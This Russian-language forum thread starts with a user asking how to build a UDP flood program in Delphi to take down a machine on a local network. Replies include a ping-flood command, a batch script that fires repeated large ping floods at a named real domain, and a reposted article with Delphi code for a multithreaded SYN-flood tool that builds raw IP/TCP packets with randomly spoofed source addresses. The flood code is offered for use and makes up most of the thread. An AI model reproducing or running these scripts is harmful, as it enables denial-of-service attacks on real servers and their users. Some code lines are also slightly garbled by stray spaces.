Объясните пожалуйста, если написать программу которая будел посылать пакеты допустим по UDP на один и тот же айпи, на открытый порт(на компе жертвы атаки) и запустить на нескольких компах - это будет DDos атакой. И вопрос еще один глупый .. если запустить ее на 60 компах и атаку проводить на один комп это возымеет эффект. Я понимаю что в интернете чтобы положить сервер нужно очень много ботов, но а если это в локале здесь ведь канал трафика больше да и сервак обычный комп(мой комп) то возможно его положить? PS: вопроо с целью изучения, и будет тестироваться в крайнем случае на моем компе. Помогите девушке..
девушки умеют проггить на дельфях? про удп флуд не знаю, а я вот с двух компов на 10мбитной сетке запинговывал комп, так что у моего соседа машина лагала, что работать невозможно было. ping [IP] -l 65535 -n 200 кажется так. почитай cmd.exe -> ping /?
Ну пингом сейчас не ддосят имхо, на многих хостах просто стоит опция не принимать Icmp запросы (особенно если файрвол стоит). Попробовать конечно можно, но если владелец компа не дурак, то и тебя вычислит и ддос с себя снимет за пару минут.
Kaimi для хостов конечно ныжно подходить профессионально и без пинга речь о лоалке, и вопрос по дельфям, как я описала - это относиться к DDos или тупо к Dos хотябы атакам? Ребят ну пожалуйста мне больше ни че не нужно, кроме этого... Спасибо всем заранее за ответы...
DoS-атака (от англ. Denial of Service — «отказ в обслуживании») и DDoS-атака (Distributed Denial of Service — «распределённый отказ обслуживания») — это разновидности атак злоумышленника на компьютерные системы. Целью этих атак является создание таких условий, при которых легитимные (правомерные) пользователи системы не могут получить доступ к предоставляемым системой ресурсам, либо этот доступ затруднён. Существуют различные причины, по которым может возникнуть DoS-условие: * Ошибка в программном коде, приводящая к обращению к неиспользуемому фрагменту адресного пространства, выполнению недопустимой инструкции или другой необрабатываемой исключительной ситуации, когда происходит аварийное завершение серверного приложения. Классическим примером является обращение по нулевому (англ. null) указателю. * Недостаточная проверка данных пользователя, приводящая к бесконечному либо длительному циклу или повышенному длительному потреблению процессорных ресурсов (исчерпанию процессорных ресурсов) либо выделению большого объема оперативной памяти (исчерпанию памяти). * Флуд (англ. flood) — атака, связанная с большим количеством обычно бессмысленных или сформированных в неправильном формате запросов к компьютерной системе или сетевому оборудованию, имеющая своей целью или приведшая к отказу в работе системы из-за исчерпания ресурсов системы — процессора, памяти либо каналов связи. * Атака второго рода — атака, которая стремится вызвать ложное срабатывание системы защиты и таким образом привести к недоступности ресурса.
а while 1=1 do здесь зачем? вдь он и так отправит 200 пакетов????? или это шутка? ведь цикл бесконечный.....
вы не понимаете разницу между DDoS и Флуд атакой... ваш вопрос можно расцениват как: "Как провести флуд атаку по протокулу UPD?" что-то типа того... но никак ни DDoS... это для самоубиц... врятли чем-то поможет, тем более следующий шаг цикла не будет предшевствовать предыдущему, значит ping.exe заполнит память, что вызовет отказ в обслуживание, чем чревата минимум fast-reboot, а еще хуже BSOD'ом...
procedure TMainForm.FormCreate(Sender: TObject); var Init: TWSAData; SockOpt: BOOL; Sock: TSocket; Target: TSockAddrIn; begin WSAStartup($101,Init); Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP); SockOpt:=TRUE; SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST, PChar(@SockOpt),SizeOf(SockOpt)) ; Target.sin_port:=htons(8167); //номер порта Target.sin_addr.S_addr:=INADDR_BROADCAST; Target.sa_family:=AF_INET; SendTo(Sock,Data,DataBytes,0,Target,SizeOf(Target)); WSACleanup; end;
если нужен просто пинг то можно написать бат файл к примеру вот: @echo off set /a countping=0 :dosbegin set /a countping=%countping% + 1 start /min ping j-fan.net.ru -n 999999 -t -l 65000 -w 0 echo %countping% if %countping% == 100 ( exit /b ) goto dosbegin: а если на делфях то вот: [Инфо] Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься. [Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает. Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения. Клиент --------SYN----------> Сервер Клиент <----SYNACK--------- Сервер Клиент --------ACK----------> Сервер Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение. TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить. Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети. [Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC. PHP код: //IP-заголовок iph = record ip_verlen: byte; //Версия и длина ip_tos: byte; //Приоритет пакета ip_len: word; // Длина заголовка ip_id: word; // id -пакета ip_offset: word; //Смещение ip_ttl: byte; //Время жизни ip_protocol: byte; //Протокол ip_checksum: word; //Контрольная сумма ip_saddr: longword; //Адрес отправителя ip_daddr: longword; //Адрес получателя end; //TCP-заголовок tcph = record th_sport: word; //Порт отправителя th_dport: word; //Порт получателя th_seq: longword; // Последовательный номер th_ack: longword; // Подтвержденный номер th_len: byte; // Длина заголовка th_flags: byte; // Кодовые биты th_win: word; // Окно th_checksum: word; // Контрольная сумма th_upr: word; // Кодовые биты end; Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать PHP код: WSAStartup(MAKEWORD(2,2),WSAdata) Теперь создаем «сырой» сокет PHP код: FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED); Далее устанавливаем опции соединения (включение заголовка и время отправки): PHP код: op:=1; setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op)); nTimeOver:=1000; setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver)); Далее следует большой код сборки пакета. //Собираем пакет //Пишем версию и длину ip-пакета ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword)); ipHeader.ip_len:=htons(Size); ipHeader.ip_tos:=0; //Приоритет пакета ipHeader.ip_id:=1; //id-пакета ipHeader.ip_offset:=0; //смещение ipHeader.ip_ttl:=128; //время жизни пакета ipHeader.ip_protocol:=IPPROTO_TCP; //протокол //Генерируем рандомный ip-адресс FromIp:=''; For j:=0 to 3 do begin RandIp:=random(255); Str(Randip,Buffer[j]); end; //lstrcat –функция для сцепки строк lstrcat(Fromip,Buffer[0]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.'); lstrcat(Fromip,Buffer[3]); ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя //Заполняем TCP-заголовок TCPHeader.th_sport:=htons(Random(65000)); //Порт источника TCPHeader.th_dport:=htons(port); //Порт получателя TCPHeader.th_seq:=Random(4294967295); //Номер пакета TCPHeader.th_ack:=0; TCPHeader.th_len:=80; //SYN-пакет TCPHeader.th_flags:=2; TCPHeader.th_win:=htons(65535); TCPHeader.th_upr:=0; TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже //Расчет контрольной суммы DataPointer := @TCPIP[0]; FillChar(TCPIP, SizeOf(TCPIP), 0); Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr); Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr); DataPointer := pointer(integer(DataPointer) + 1); Inc(ChecksumSize); Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol); TcpHeaderLen := htons(sizeof(tcpHeader)); Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen)); ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader)); ChecksumSize := ChecksumSize + sizeof(tcpHeader); tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize); FillChar(TCPIP, sizeof(TCPIP), 0); DataPointer := @TCPIP[0]; Move(ipHeader, DataPointer^, sizeof(ipHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader)); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); После чего его нужно отправить For i:=0 to 10 do begin if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR) then Writeln('Send error') else Writeln('Send ok'); end; Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects PHP код: //Создаем потоки for i:=0 to (CountT-1) do Begin hThread:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID); end; WaitForMultipleObjects(CountT,@hthread,true,INFINI TE); Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен. материалы к статье - http://narod.yandex.ru/100.xhtml?ml2.../DoS_files.zip (c) TanKisT
хммммм.... а вы уверены что хотите именно UDP??? СОРЕВНОВАТЬСЯ У КОГО КАНАЛ ШИРЕ СМЕШНО!!! Лучше перечитайте RinOS!!! RinOS в принцыпе был точен, ему всего лишь было лень обьяснять что произойдет если генериться(craft) будут только SYN пакеты, то есть будут отсутствовать RST и FIN пакеты. сессия считается установленной после отсылки сервером своего SYN пакета!!!!!! Возьмем стандартный TCP сервер(например Apach или легкий KeyFocus).... у каждого из них как правило имеются ограничение на количество одновренных клиентов(активных TCP коннектов). И пусть чтото там может разрываться по таймауту но.... это все измеряется вполне реальными секундами... в течении которых вы можете "завалить" сервер SYS-ами. А за то что написал W!z@rD вас четвертует (или еще хуже)собственный админ!!!
А чего уже вывесили "Его разыскивает отдел К"? дык там все фотожопером сделано.... на самом деле я толстый и лысый
ну дык может у нас папа общий.... у меня папа - лейтенант Шмит (человек и пароход) к тому же турецкоподданый!